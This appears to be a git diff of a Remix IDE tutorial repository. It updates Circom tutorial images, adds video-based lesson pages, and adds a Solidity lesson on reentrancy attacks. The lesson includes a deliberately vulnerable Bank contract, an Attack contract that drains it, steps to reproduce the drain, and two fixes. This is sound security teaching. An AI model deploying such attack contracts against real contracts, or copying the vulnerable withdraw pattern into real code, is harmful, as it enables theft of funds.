+![hamburger](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/Basics/workspaces/images/popup.png) Notice that in this popup menu, you can clone a repo. Managing a Git repo happens in the DGit plugin. You can also create Github actions with the three workflow choices in the popup menu. diff --git a/CircomHashChecker/step-2/README.md b/CircomHashChecker/step-2/README.md index bdc31efcd..6843acc0b 100644 --- a/CircomHashChecker/step-2/README.md +++ b/CircomHashChecker/step-2/README.md @@ -4,17 +4,17 @@ Follow these steps to create the Hash Checker workspace in Remix-IDE. 1. In the **File Explorer** sidebar, click on the **hamburger menu icon** (three horizontal lines). - hamburger-menu + hamburger-menu 2. Select **"Create Using Template"** from the dropdown. - create-using-template + create-using-template ### Step 2: Find the Hash Checker Template 1. In the main panel, scroll down to the **"Circom ZKP"** section. - create-zkp-section + create-zkp-section 2. Locate the **"Hash Checker"** item. @@ -22,11 +22,11 @@ Follow these steps to create the Hash Checker workspace in Remix-IDE. 1. Click on the **"Create"** button on the Hash Checker item. - create-hash-checker + create-hash-checker 2. In the modal pop-up, provide a **workspace name** (e.g., `hash-checker-workspace`). - workspace-name-modal + workspace-name-modal 3. Click **"OK"** to create the template. @@ -34,4 +34,4 @@ Follow these steps to create the Hash Checker workspace in Remix-IDE. - The workspace is created with the necessary files and directories. - workspace-name-modal \ No newline at end of file + workspace-name-modal \ No newline at end of file diff --git a/CircomHashChecker/step-4/README.md b/CircomHashChecker/step-4/README.md index 0a85d0908..70731d194 100644 --- a/CircomHashChecker/step-4/README.md +++ b/CircomHashChecker/step-4/README.md @@ -5,7 +5,7 @@ 1. Go to the **Circuit Compiler** plugin in the sidebar. 2. Choose the desired **Compiler Version** from the dropdown menu. For this tutorial, select the latest stable version. -select-compiler-version +select-compiler-version ### Configuring Compilation Options @@ -15,14 +15,14 @@ - Click to expand. - Select the **Prime Field**. For most cases, `BN128` is sufficient. -advanced-configuration +advanced-configuration ### Compiling the Circuit 1. Click on the **Compile** button. 2. Wait for the compilation to complete. A success badge will appear if compilation is successful. -compilation-success +compilation-success ### Understanding the Compilation Output diff --git a/CircomHashChecker/step-5/README.md b/CircomHashChecker/step-5/README.md index 030a88724..0d6567a2f 100644 --- a/CircomHashChecker/step-5/README.md +++ b/CircomHashChecker/step-5/README.md @@ -13,7 +13,7 @@ - Enable **Export Verification Key** to save the verification key to the File Explorer. - Enable **Export Verifier Contract** to save the Solidity contract for on-chain verification. -trusted-setup +trusted-setup 5. **Run the Trusted Setup**: - Click on the **Run Setup** button. diff --git a/CircomHashChecker/step-6/README.md b/CircomHashChecker/step-6/README.md index 43865c4fb..9a9d0ecc3 100644 --- a/CircomHashChecker/step-6/README.md +++ b/CircomHashChecker/step-6/README.md @@ -15,11 +15,11 @@ - For the values above, here is the computed Poseidon hash `16382790289988537028417564277589554649233048801038362947503054340165041751802`. - Enter the calculated `hash` value in the `hash` input field. - compute-witness + compute-witness 4. **Compute the Witness**: - Click on the **Compute Witness** button. - Wait for the process to complete. A success badge will appear if the witness is computed successfully. - If successful, you'll see `calculate_hash.wtn` created in the `.bin` directory in the file explorer. - witness-computed \ No newline at end of file + witness-computed \ No newline at end of file diff --git a/CircomHashChecker/step-7/README.md b/CircomHashChecker/step-7/README.md index 00ad2e6c8..fe18933ae 100644 --- a/CircomHashChecker/step-7/README.md +++ b/CircomHashChecker/step-7/README.md @@ -10,10 +10,10 @@ - Click on the **Generate Proof** button. - Wait for the proof generation to complete. - generate-proof + generate-proof 4. **View the Proof**: - The proof data will be displayed in the File Explorer. - **Congratulations!** You've successfully compiled the `Hash Checker` circuit, performed a trusted setup, computed a witness, and generated a proof using Remix-IDE. - generate-proof \ No newline at end of file + generate-proof \ No newline at end of file diff --git a/CircomIntro/step-2/README.md b/CircomIntro/step-2/README.md index d765e00b0..9cc3d0bd6 100644 --- a/CircomIntro/step-2/README.md +++ b/CircomIntro/step-2/README.md @@ -7,7 +7,7 @@ In this step, we'll set up Remix for Circom development by activating the `Circo 3. Find the **Circuit Compiler** plugin in the list and click on the **Activate** button. 4. The plugin will now appear in your sidebar. -install-plugin +install-plugin ## The Circom Compiler Interface @@ -16,7 +16,7 @@ In this step, we'll set up Remix for Circom development by activating the `Circo - **Hide Warnings Checkbox:** Enable this to suppress compiler warnings. - **Advanced Configuration:** Click to expand options for selecting the prime field (e.g., BN128, BLS12381). -compiler-interface +compiler-interface With the plugin installed, you're now ready to start writing Circom code in Remix-IDE. diff --git a/CircomIntro/step-3/README.md b/CircomIntro/step-3/README.md index fa144e5ad..3638a4610 100644 --- a/CircomIntro/step-3/README.md +++ b/CircomIntro/step-3/README.md @@ -5,7 +5,7 @@ Let's write a simple Circom circuit. 1. In the **File Explorer** on the left sidebar, click on the **Create New File** icon. 2. Name your file `multiplier.circom` and press **Enter**. -create-new-file +create-new-file ## Writing the Circuit diff --git a/CircomIntro/step-4/README.md b/CircomIntro/step-4/README.md index 03f897887..263181907 100644 --- a/CircomIntro/step-4/README.md +++ b/CircomIntro/step-4/README.md @@ -5,7 +5,7 @@ With your `multiplier.circom` circuit ready, let's compile it using the Circuit Choose the desired **Compiler Version** from the dropdown menu. For this tutorial, select the latest stable version. -select-compiler-version +select-compiler-version ## Configuring Compilation Options @@ -15,7 +15,7 @@ Choose the desired **Compiler Version** from the dropdown menu. For this tutoria - Click to expand. - Select the **Prime Field**. For most cases, `BN128` is sufficient. -advanced-configuration +advanced-configuration ## Compiling the Circuit @@ -23,7 +23,7 @@ Choose the desired **Compiler Version** from the dropdown menu. For this tutoria 2. The compiler will process your circuit. 3. If successful, you'll see a compilation success message. -compilation-success +compilation-success **Note:** If there are any errors, they will be displayed in the console. Check your code for typos or syntax errors. diff --git a/CircomIntro/step-5/README.md b/CircomIntro/step-5/README.md index cc21b29bd..cb766242a 100644 --- a/CircomIntro/step-5/README.md +++ b/CircomIntro/step-5/README.md @@ -17,7 +17,7 @@ After compiling your circuit, you need to perform a trusted setup to generate pr 5. You can enable **Export Verification Contract** if you intend to verify proofs on-chain. -trusted-setup +trusted-setup **Note:** The trusted setup may take some time, depending on the complexity of your circuit. diff --git a/CircomIntro/step-6/README.md b/CircomIntro/step-6/README.md index e13d33d32..a11dc4df2 100644 --- a/CircomIntro/step-6/README.md +++ b/CircomIntro/step-6/README.md @@ -12,7 +12,7 @@ With the trusted setup complete, you can now compute the witness for your circui - `a = 3` - `b = 4` -compute-witness +compute-witness ## Computing the Witness @@ -20,7 +20,7 @@ With the trusted setup complete, you can now compute the witness for your circui 2. The plugin will compute the witness based on your inputs. 3. If successful, you'll see `multiplier.wtn` created in the `.bin` directory in the file explorer. -witness-computed +witness-computed **Note:** If there are any errors, ensure that your inputs are valid and satisfy the circuit's constraints. diff --git a/CircomIntro/step-7/README.md b/CircomIntro/step-7/README.md index f5cf332a9..9234c6ae3 100644 --- a/CircomIntro/step-7/README.md +++ b/CircomIntro/step-7/README.md @@ -6,14 +6,14 @@ With the witness computed, the final step is to generate a proof that can be ver - Enable the **Export Verifier Calldata** checkbox if you plan to verify the proof on-chain. 2. Click on the **Generate Proof** button. -generate-proof +generate-proof ## Understanding the Output - After generating the proof, the plugin will display the proof data. - If you enabled **Export Verifier Calldata**, it will also provide the calldata needed for on-chain verification. -proof-generated +proof-generated ## Next Steps diff --git a/DeployingVerifyingDebugging/config.yml b/DeployingVerifyingDebugging/config.yml new file mode 100644 index 000000000..79eb4cd75 --- /dev/null +++ b/DeployingVerifyingDebugging/config.yml @@ -0,0 +1,12 @@ +id: deploying-verifying-debugging +name: Deploying, Verifying & Debugging +summary: 'Master the deployment process in Remix, including using the Deploy & Run plugin, verifying contracts, generating frontends, using the Remix VM, and recording transactions.' +level: beginner +tags: +- solidity +- remix +- plugins +- tutorial +steps: +- name: Deploying, Verifying & Debugging + path: step1 diff --git a/DeployingVerifyingDebugging/readme.md b/DeployingVerifyingDebugging/readme.md new file mode 100644 index 000000000..9bca7dc6d --- /dev/null +++ b/DeployingVerifyingDebugging/readme.md @@ -0,0 +1,3 @@ +# Deploying, Verifying & Debugging + +Learn how to deploy, verify, and debug your smart contracts in Remix. This tutorial covers deployment workflows, contract verification, frontend generation, and transaction recording. diff --git a/DeployingVerifyingDebugging/step1/step1.md b/DeployingVerifyingDebugging/step1/step1.md new file mode 100644 index 000000000..d10acf42b --- /dev/null +++ b/DeployingVerifyingDebugging/step1/step1.md @@ -0,0 +1,36 @@ +# Deploying, Verifying & Debugging + +## Introduction + +This tutorial covers the complete workflow for deploying, verifying, and debugging smart contracts in Remix IDE. You'll learn about deployment options, contract verification, frontend generation, and debugging tools. + +## Topics Covered + +### 1. Deploy & Run +Learn to use the Deploy & Run plugin including using the AtAddress feature, use of low level interactions and pinning contracts. + +![youtube](https://www.youtube.com/embed/f8DnHN0v4fw) + +### 2. Verifying Contracts +Learn how to use the Contract Verification plugin to verify your smart contracts on block explorers like Etherscan. + +![youtube](https://www.youtube.com/embed/fupWp7ONeKY) + +### 3. Generate a Frontend +QuickDapp is a tool for quickly making a simple front end to a smart contract. A great tool for hackathons! + +![youtube](https://www.youtube.com/embed/l5qVj1xLm8s) + +### 4. Remix VM & Forking +The Remix VM is the local in-browser test blockchain. Learn about its features and how to fork and how to share the chain's state. + +![youtube](https://www.youtube.com/embed/oYkXApf36wk) + +### 5. Transaction Recorder +Learn how to record and replay transactions for testing and debugging purposes. + +![youtube](https://www.youtube.com/embed/GchvmIRSxUo) + +## Next Steps + +With these deployment and debugging skills, you'll be able to confidently deploy and verify your smart contracts on various networks. diff --git a/FileManagementAndVersionControl/config.yml b/FileManagementAndVersionControl/config.yml new file mode 100644 index 000000000..32d01b59b --- /dev/null +++ b/FileManagementAndVersionControl/config.yml @@ -0,0 +1,12 @@ +id: file-management-version-control +name: File Management and Version Control +summary: 'Learn how to manage files in Remix, including loading files, importing dependencies, using the editor, Git integration, and connecting to your filesystem.' +level: beginner +tags: +- remix +- beginner +- git +- tutorial +steps: +- name: File Management and Version Control + path: step1 diff --git a/FileManagementAndVersionControl/readme.md b/FileManagementAndVersionControl/readme.md new file mode 100644 index 000000000..cbc950af8 --- /dev/null +++ b/FileManagementAndVersionControl/readme.md @@ -0,0 +1,3 @@ +# File Management and Version Control + +Learn best practices for managing your files and using version control in Remix. This tutorial covers file loading, dependencies, the editor, Git integration, and filesystem connections. diff --git a/FileManagementAndVersionControl/step1/step1.md b/FileManagementAndVersionControl/step1/step1.md new file mode 100644 index 000000000..22874d4ae --- /dev/null +++ b/FileManagementAndVersionControl/step1/step1.md @@ -0,0 +1,36 @@ +# File Management and Version Control + +## Introduction + +This tutorial will teach you how to effectively manage your files and use version control in Remix IDE. You'll learn about file loading, dependency management, editor features, and Git integration. + +## Topics Covered + +### 1. Loading Files for Editing +Learn how to clone repos, import files, and use various file loading tricks to get your code into Remix. + +![youtube](https://www.youtube.com/embed/QMS2-mDI-vw) + +### 2. Opening Dependencies +Learn the best practices of loading dependencies in Remix, including importing from npm and GitHub. + +![youtube](https://www.youtube.com/embed/WNeNJcIFSws) + +### 3. Using the Remix Editor +Learn the tricks of the Remix Editor: autocomplete, quickfixes, importing, gas estimates, and more. + +![youtube](https://www.youtube.com/embed/K2H3Lx9hTlk) + +### 4. Git & Version Control +It's important to use an external repo to back up your work. Learn about Git, GitHub integration and version control in Remix. + +![youtube](https://www.youtube.com/embed/LNKv3ysoVeE) + +### 5. Connect to the Filesystem +Connect Remix to a specific folder on your hard drive for seamless integration with your local development environment. + +![youtube](https://www.youtube.com/embed/Sa3KXUxPJ9s) + +## Next Steps + +With these file management skills, you'll be able to efficiently organize your projects and collaborate with others using version control. diff --git a/Interoperability/7_FurtherReading/furtherReading.md b/Interoperability/7_FurtherReading/furtherReading.md index a601d7ac7..bac38fe9c 100644 --- a/Interoperability/7_FurtherReading/furtherReading.md +++ b/Interoperability/7_FurtherReading/furtherReading.md @@ -6,6 +6,8 @@ To continue your learning journey of interoperability with Axelar. There are man - For more technical examples 💻 -- For live coding demos 📹 +- For live coding demos 📹: + +![youtube](https://www.youtube.com/embed/3sctKcQIaLA) - For the developer blog 📝 diff --git a/LowLevelSolidityVideos/config.yml b/LowLevelSolidityVideos/config.yml new file mode 100644 index 000000000..4d48cb535 --- /dev/null +++ b/LowLevelSolidityVideos/config.yml @@ -0,0 +1,12 @@ +id: low-level-solidity-videos +name: Low Level Solidity Videos +summary: 'Deep dive into EVM internals with videos on storage, transient storage, bit masking, structs in storage, and arrays in storage for advanced gas optimization.' +level: advanced +tags: +- solidity +- evm +- advanced +- tutorial +steps: +- name: Low Level Solidity Videos + path: step1 diff --git a/LowLevelSolidityVideos/readme.md b/LowLevelSolidityVideos/readme.md new file mode 100644 index 000000000..4a3addcb0 --- /dev/null +++ b/LowLevelSolidityVideos/readme.md @@ -0,0 +1,3 @@ +# Low Level Solidity Videos + +Master low-level EVM concepts and advanced Solidity techniques. This tutorial covers storage mechanics, bit operations, and data structure optimization at the EVM level. diff --git a/LowLevelSolidityVideos/step1/step1.md b/LowLevelSolidityVideos/step1/step1.md new file mode 100644 index 000000000..6191cfae5 --- /dev/null +++ b/LowLevelSolidityVideos/step1/step1.md @@ -0,0 +1,36 @@ +# Low Level Solidity Videos + +## Introduction + +This advanced tutorial explores low-level EVM concepts and Solidity internals. You'll learn how data is stored at the EVM level, how to optimize gas usage through bit operations, and how complex data structures work under the hood. + +## Topics Covered + +### 1. EVM Storage +Understand how the Ethereum Virtual Machine stores data, including storage slots, storage layout, and how Solidity maps variables to storage. + +![youtube](https://www.youtube.com/embed/vTeav5Rinco) + +### 2. Transient Storage +Learn about transient storage (EIP-1153), a new storage type that only persists during a transaction, enabling more gas-efficient patterns. + +![youtube](https://www.youtube.com/embed/0-hiB5I39Mk) + +### 3. Bit Masking +Master bit manipulation techniques in Solidity for efficient data packing and gas optimization through bitwise operations. + +![youtube](https://www.youtube.com/embed/luCjY2IQEuw) + +### 4. Structs in Storage +Deep dive into how structs are stored in the EVM, including storage layout, packing, and optimization strategies. + +![youtube](https://www.youtube.com/embed/xWkOlxerVJw) + +### 5. Arrays in Storage +Understand how arrays are stored in the EVM, including dynamic arrays, fixed arrays, and their gas implications. + +![youtube](https://www.youtube.com/embed/74vyHBD_L1E) + +## Next Steps + +These low-level concepts are essential for writing highly optimized smart contracts and understanding how Solidity code translates to EVM bytecode. This knowledge will help you write more efficient and gas-optimized contracts. diff --git a/RemixEssentials/config.yml b/RemixEssentials/config.yml new file mode 100644 index 000000000..c751758fa --- /dev/null +++ b/RemixEssentials/config.yml @@ -0,0 +1,11 @@ +id: remix-essentials +name: Remix Essentials +summary: 'Watch videos to learn Remix''s interface and essential features. Learn about basic workflows, AI tools, the debugger, and running scripts in Remix.' +level: beginner +tags: +- remix +- beginner +- tutorial +steps: +- name: Remix Essentials + path: step1 diff --git a/RemixEssentials/readme.md b/RemixEssentials/readme.md new file mode 100644 index 000000000..41feed93a --- /dev/null +++ b/RemixEssentials/readme.md @@ -0,0 +1,3 @@ +# Remix Essentials + +Watch videos to learn Remix and Solidity! This tutorial covers the essential features of Remix IDE including the interface, basic workflows, AI tools, debugger, and running scripts. diff --git a/RemixEssentials/step1/step1.md b/RemixEssentials/step1/step1.md new file mode 100644 index 000000000..22e287ed7 --- /dev/null +++ b/RemixEssentials/step1/step1.md @@ -0,0 +1,36 @@ +# Remix Essentials + +## Introduction + +Welcome to the Remix Essentials tutorial! This guide will walk you through the fundamental features and workflows of Remix IDE. + +## Topics Covered + +### 1. Intro to Remix's Interface +Learn how Remix is organized and some essential features that will help you get started with smart contract development. + +![youtube](https://www.youtube.com/embed/XqxIsdWbaZY) + +### 2. Basic Workflows +Learn about choosing a template, checking compiler errors, grabbing the ABI, deploying to local and public chains, and making a basic DApp. + +![youtube](https://www.youtube.com/embed/BeudEn6XTvQ) + +### 3. Using AI Tools in Remix +Find out how RemixAI can help you code and improve your development workflow. + +![youtube](https://www.youtube.com/embed/wz9obdmCvVo) + +### 4. Debugger +Learn to use the Remix Debugger to analyze and troubleshoot your smart contracts. + +![youtube](https://www.youtube.com/embed/kn16HOJbKKQ) + +### 5. Running Scripts in Remix +Automate Remix with JS/TS scripts to streamline your development process. + +![youtube](https://www.youtube.com/embed/kc7GJzgi4HU) + +## Next Steps + +After completing this tutorial, you'll have a solid understanding of Remix's essential features and be ready to explore more advanced topics in file management, deployment, and debugging. diff --git a/S01_ReentrancyAttack_en/config.yml b/S01_ReentrancyAttack_en/config.yml new file mode 100644 index 000000000..a09dca546 --- /dev/null +++ b/S01_ReentrancyAttack_en/config.yml @@ -0,0 +1,12 @@ +id: s01-reentrancy-attack +name: S01. Reentrancy Attack +summary: Learn about the most common type of smart contract attack - reentrancy attacks. Understand how they work, their historical impact on Ethereum, and how to prevent them in your contracts. +level: 2 +tags: +- solidity +- security +- fallback +- modifier +steps: +- name: Reentrancy Attack + path: step1 diff --git a/S01_ReentrancyAttack_en/readme.md b/S01_ReentrancyAttack_en/readme.md new file mode 100644 index 000000000..277f871c4 --- /dev/null +++ b/S01_ReentrancyAttack_en/readme.md @@ -0,0 +1,15 @@ +--- +title: S01. Reentrancy Attack +tags: + - solidity + - security + - fallback + - modifier +--- + +# WTF Solidity S01. Reentrancy Attack + +In this lesson, we will introduce the most common type of smart contract attack - a reentrancy attack, which has led to the Ethereum fork into ETH and ETC (Ethereum Classic), and discuss how to prevent it. + + + diff --git a/S01_ReentrancyAttack_en/step1/ReentrancyAttack.sol b/S01_ReentrancyAttack_en/step1/ReentrancyAttack.sol new file mode 100644 index 000000000..a9f57c978 --- /dev/null +++ b/S01_ReentrancyAttack_en/step1/ReentrancyAttack.sol @@ -0,0 +1,118 @@ +// SPDX-License-Identifier: MIT +// by 0xAA +// english translation by 22X +pragma solidity ^0.8.21; + +contract Bank { + mapping (address => uint256) public balanceOf; // Balance mapping + + // Deposit Ether and update balance + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + // Withdraw all Ether from msg.sender + function withdraw() external { + uint256 balance = balanceOf[msg.sender]; // Get balance + require(balance > 0, "Insufficient balance"); + // Transfer Ether !!! May trigger the fallback/receive function of a malicious contract, posing a reentrancy risk! + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); + // Update balance + balanceOf[msg.sender] = 0; + } + + // Get the balance of the bank contract + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} + +contract Attack { + Bank public bank; // Address of the Bank contract + + // Initialize the address of the Bank contract + constructor(Bank _bank) { + bank = _bank; + } + + // Callback function used for reentrancy attack on the Bank contract, repeatedly calling the target's withdraw function + receive() external payable { + if (bank.getBalance() >= 1 ether) { + bank.withdraw(); + } + } + + // Attack function, msg.value should be set to 1 ether when calling + function attack() external payable { + require(msg.value == 1 ether, "Require 1 Ether to attack"); + bank.deposit{value: 1 ether}(); + bank.withdraw(); + } + + // Get the balance of this contract + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} + +// Use Checks-Effects-Interactions pattern to prevent reentrancy attack +contract GoodBank { + mapping (address => uint256) public balanceOf; + + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + function withdraw() external { + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + // Checks-Effects-Interactions pattern: update balance change first, then send ETH + // In case of reentrancy attack, balanceOf[msg.sender] has already been updated to 0, so it cannot pass the above check. + balanceOf[msg.sender] = 0; + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); + } + + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} + +// Use reentrant lock to prevent reentrancy attack +contract ProtectedBank { + mapping (address => uint256) public balanceOf; + uint256 private _status; // reentrant lock + + // reentrant lock + modifier nonReentrant() { + // _status will be 0 on the first call to nonReentrant + require(_status == 0, "ReentrancyGuard: reentrant call"); + // Any subsequent calls to nonReentrant will fail + _status = 1; + _; + // Call ends, restore _status to 0 + _status = 0; + } + + + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + // Protect vulnerable function with reentrant lock + function withdraw() external nonReentrant{ + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); + + balanceOf[msg.sender] = 0; + } + + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} + diff --git a/S01_ReentrancyAttack_en/step1/img/S01-1.png b/S01_ReentrancyAttack_en/step1/img/S01-1.png new file mode 100644 index 000000000..c86a9e957 Binary files /dev/null and b/S01_ReentrancyAttack_en/step1/img/S01-1.png differ diff --git a/S01_ReentrancyAttack_en/step1/step1.md b/S01_ReentrancyAttack_en/step1/step1.md new file mode 100644 index 000000000..e61b435a2 --- /dev/null +++ b/S01_ReentrancyAttack_en/step1/step1.md @@ -0,0 +1,217 @@ +--- +title: S01. Reentrancy Attack +tags: + - solidity + - security + - fallback + - modifier +--- + +# WTF Solidity S01. Reentrancy Attack + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will introduce the most common type of smart contract attack - a reentrancy attack, which has led to the Ethereum fork into ETH and ETC (Ethereum Classic), and discuss how to prevent it. + +## Reentrancy Attack + +Reentrancy attack is the most common type of attack in smart contracts, where attackers exploit contract vulnerabilities (such as the fallback function) to repeatedly call the contract, transferring or minting a large number of tokens. + +Some notable reentrancy attack incidents include: + +- In 2016, The DAO contract was subjected to a reentrancy attack, resulting in the theft of 3,600,000 ETH from the contract and the Ethereum fork into the ETH chain and ETC (Ethereum Classic) chain. +- In 2019, the synthetic asset platform Synthetix suffered a reentrancy attack, resulting in the theft of 3,700,000 sETH. +- In 2020, the lending platform Lendf.me suffered a reentrancy attack, resulting in a theft of $25,000,000. +- In 2021, the lending platform CREAM FINANCE suffered a reentrancy attack, resulting in a theft of $18,800,000. +- In 2022, the algorithmic stablecoin project Fei suffered a reentrancy attack, resulting in a theft of $80,000,000. + +It has been 6 years since The DAO was subjected to a reentrancy attack, but there are still several projects each year that suffer multimillion-dollar losses due to reentrancy vulnerabilities. Therefore, understanding this vulnerability is crucial. + +## The Story of `0xAA` Robbing the Bank + +To help everyone better understand, let me tell you a story about how the hacker `0xAA` robbed the bank. + +The bank on Ethereum is operated by robots controlled by smart contracts. When a regular user comes to the bank to withdraw money, the service process is as follows: + +1. Check the user's `ETH` balance. If it is greater than 0, proceed to the next step. +2. Transfer the user's `ETH` balance from the bank to the user and ask if the user has received it. +3. Update the user's balance to `0`. + +One day, the hacker `0xAA` came to the bank and had the following conversation with the robot teller: + +- 0xAA: I want to withdraw `1 ETH`. +- Robot: Checking your balance: `1 ETH`. Transferring `1 ETH` to your account. Have you received the money? +- 0xAA: Wait, I want to withdraw `1 ETH`. +- Robot: Checking your balance: `1 ETH`. Transferring `1 ETH` to your account. Have you received the money? +- 0xAA: Wait, I want to withdraw `1 ETH`. +- Robot: Checking your balance: `1 ETH`. Transferring `1 ETH` to your account. Have you received the money? +- 0xAA: Wait, I want to withdraw `1 ETH`. +- ... + +In the end, `0xAA` emptied the bank's assets through the vulnerability of a reentrancy attack, and the bank collapsed. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S01_ReentrancyAttack_en/step1/img/S01-1.png) + +## Vulnerable Contract Example + +### Bank Contract + +The bank contract is very simple and includes `1` state variable `balanceOf` to record the Ethereum balance of all users. It also includes `3` functions: + +- `deposit()`: Deposit function that allows users to deposit `ETH` into the bank contract and update their balances. +- `withdraw()`: Withdraw function that transfers the caller's balance to them. The steps are the same as in the story above: check balance, transfer funds, and update balance. **Note: This function has a reentrancy vulnerability!** +- `getBalance()`: Get the `ETH` balance in the bank contract. + +```solidity +contract Bank { + mapping (address => uint256) public balanceOf; // Balance mapping + + // Deposit Ether and update balance + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + // Withdraw all Ether from msg.sender + function withdraw() external { + uint256 balance = balanceOf[msg.sender]; // Get balance + require(balance > 0, "Insufficient balance"); + // Transfer Ether !!! May trigger the fallback/receive function of a malicious contract, posing a reentrancy risk! + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); + // Update balance + balanceOf[msg.sender] = 0; + } + + // Get the balance of the bank contract + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} +``` + +### Attack Contract + +One vulnerability point of a reentrancy attack is the transfer of `ETH` in the contract: if the target address of the transfer is a contract, it will trigger the fallback function of the contract, potentially causing a loop. If you are not familiar with fallback functions, you can read [WTF Solidity: 19: Receive ETH](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/19_Fallback_en/readme.md). The `Bank` contract has an `ETH` transfer in the `withdraw()` function: + +``` +(bool success, ) = msg.sender.call{value: balance}(""); +``` + +If the hacker re-calls the `withdraw()` function of the `Bank` contract in the `fallback()` or `receive()` function of the attack contract, it will cause the same loop as in the story of `0xAA` robbing the bank. The `Bank` contract will continuously transfer funds to the attacker, eventually emptying the contract's ETH balance. + +```solidity +receive() external payable { + bank.withdraw(); +} +``` + +Below, let's take a look at the attack contract. Its logic is very simple, which is to repeatedly call the `withdraw()` function of the `Bank` contract through the `receive()` fallback function. It has `1` state variable `bank` to record the address of the `Bank` contract. It includes `4` functions: + +- Constructor: Initializes the `Bank` contract address. +- `receive()`: The fallback function triggered when receiving ETH, which calls the `withdraw()` function of the `Bank` contract again in a loop for withdrawal. +- `attack()`: The attack function that first deposits funds into the `Bank` contract using the `deposit()` function, then initiates the first withdrawal by calling `withdraw()`. After that, the `withdraw()` function of the `Bank` contract and the `receive()` function of the attack contract will be called in a loop, emptying the ETH balance of the `Bank` contract. +- `getBalance()`: Retrieves the ETH balance in the attack contract. + +```solidity +contract Attack { + Bank public bank; // Address of the Bank contract + + // Initialize the address of the Bank contract + constructor(Bank _bank) { + bank = _bank; + } + + // Callback function used for reentrancy attack on the Bank contract, repeatedly calling the target's withdraw function + receive() external payable { + if (bank.getBalance() >= 1 ether) { + bank.withdraw(); + } + } + + // Attack function, msg.value should be set to 1 ether when calling + function attack() external payable { + require(msg.value == 1 ether, "Require 1 Ether to attack"); + bank.deposit{value: 1 ether}(); + bank.withdraw(); + } + + // Get the balance of this contract + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} +``` + +## Reproduce on `Remix` + +1. Deploy the `Bank` contract and call the `deposit()` function to transfer `20 ETH`. +2. Switch to the attacker's wallet and deploy the `Attack` contract. +3. Call the `attack()` function of the `Attack` contract to launch the attack, and transfer `1 ETH` during the call. +4. Call the `getBalance()` function of the `Bank` contract and observe that the balance has been emptied. +5. Call the `getBalance()` function of the `Attack` contract and see that the balance is now `21 ETH`, indicating a successful reentrancy attack. + +## How to Prevent + +Currently, there are two main methods to prevent potential reentrancy attack vulnerabilities: checks-effect-interaction pattern and reentrant lock. + +### Checks-Effect-Interaction Pattern + +The "Check-Effects-Interactions" pattern emphasizes that when writing functions, you should first check if state variables meet the requirements, then immediately update the state variables (such as balances), and finally interact with other contracts. If we update the balance in the `withdraw()` function of the `Bank` contract before transferring `ETH`, we can fix the vulnerability. + +```solidity +function withdraw() external { + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + // Checks-Effects-Interactions pattern: Update balance before sending ETH + // During a reentrancy attack, balanceOf[msg.sender] has already been updated to 0, so it will fail the above check. + balanceOf[msg.sender] = 0; + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); +} +``` + +### Reentrant Lock + +The reentrant lock is a modifier that prevents reentrancy attacks. It includes a state variable `_status` that is initially set to `0`. Functions decorated with the `nonReentrant` modifier will check if `_status` is `0` on the first call, then set `_status` to `1`. After the function call completes, `_status` is set back to `0`. This prevents reentrancy attacks by causing an error if the attacking contract attempts a second call before the first call completes. If you are not familiar with modifiers, you can read [WTF Solidity: 11. Modifier](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/11_Modifier_en/readme.md). + +```solidity +uint256 private _status; // Reentrant lock + +// Reentrant lock +modifier nonReentrant() { + // _status will be 0 on the first call to nonReentrant + require(_status == 0, "ReentrancyGuard: reentrant call"); + // Any subsequent calls to nonReentrant will fail + _status = 1; + _; + // Call completed, restore _status to 0 + _status = 0; +} +``` + +Just by using the `nonReentrant` reentrant lock modifier on the `withdraw()` function, we can prevent reentrancy attacks. + +```solidity +// Protect the vulnerable function with a reentrant lock +function withdraw() external nonReentrant{ + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); + + balanceOf[msg.sender] = 0; +} +``` + +## Summary + +In this lesson, we introduced the most common attack in Ethereum - the reentrancy attack and made a story of robbing a bank with `0xAA` to help understand it. Finally, we discussed two methods to prevent reentrancy attacks: the checks-effect-interaction pattern and the reentrant lock. In the example, the hacker exploited the fallback function to perform a reentrancy attack during the `ETH` transfer in the target contract. In real-world scenarios, the `safeTransfer()` and `safeTransferFrom()` functions of `ERC721` and `ERC1155`, as well as the fallback function of `ERC777`, can also potentially trigger reentrancy attacks. For beginners, my suggestion is to use a reentrant lock to protect all `external` functions that can change the contract state. Although it may consume more `gas`, it can prevent greater losses. diff --git a/S02_SelectorClash_en/config.yml b/S02_SelectorClash_en/config.yml new file mode 100644 index 000000000..d7d323066 --- /dev/null +++ 